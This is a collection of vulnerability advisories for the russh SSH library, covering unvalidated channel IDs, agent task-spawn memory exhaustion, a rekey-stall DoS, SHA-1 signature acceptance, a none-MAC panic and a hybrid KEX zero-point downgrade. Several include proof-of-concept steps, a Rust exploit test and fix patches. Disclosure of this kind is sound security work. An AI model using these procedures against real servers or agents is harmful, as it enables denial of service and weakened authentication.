This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.

Additional variant: denied open

The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.

malicious peer: CHANNEL_OPEN session
malicious peer: session open denied

channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.

Affected code path

Verified at:

f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18

The affected logic is in:

russh/src/server/encrypted.rs

The vulnerable area is:

server_read_authenticated

Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.

The affected request callbacks include:

pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal

The same missing established-channel guard affects:

CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE

A related issue exists in:

server_handle_channel_open

Application channel references should not be retained for denied opens.

Why this belongs in russh

The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.

This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.

The safe expectation is simple:

No established channel, no channel-scoped handler callback.

Suggested fix

Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.

The authoritative check should use enc.channels, not self.channels.

A minimal approach is to add a helper like:

fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
    if self
        .common
        .encrypted
        .as_ref()
        .and_then(|enc| enc.channels.get(&channel))
        .is_some_and(|channel| channel.confirmed)
    {
        Ok(())
    } else {
        Err(Error::Inconsistent)
    }
}

Then call it before dispatching channel-scoped callbacks for:

CHANNEL_REQUEST
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST

For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.

The channel-open path should also retain application-side channel references only when the open is approved:

let mut result = handler.channel_open_session(channel, self).await;

if let Ok(allowed) = &mut result {
    if *allowed {
        self.channels.insert(sender_channel, reference);
    }

    self.finalize_channel_open(&msg, channel_params, *allowed)?;
}

Regression coverage

A regression test should authenticate normally, then verify that callbacks are not reached in these cases:

1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN

The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.

A positive control should confirm that a normally opened session channel still reaches the expected callbacks.

In the local validation, the targeted regression passed after the patch:

cargo test -p russh --test channel_state_validation

The full workspace also passed:

cargo test --workspace

Duplicate check

I checked existing Eugeny/russh advisories and issue searches for terms related to:

CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler

Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Details

Affected versions and vulnerable location

• Confirmed present on default branch main at HEAD 0089c89c94753bebbec12b956c07a1cd38740379.
• Crate version at HEAD: 0.62.4.
• Vulnerable locations on current default branch:
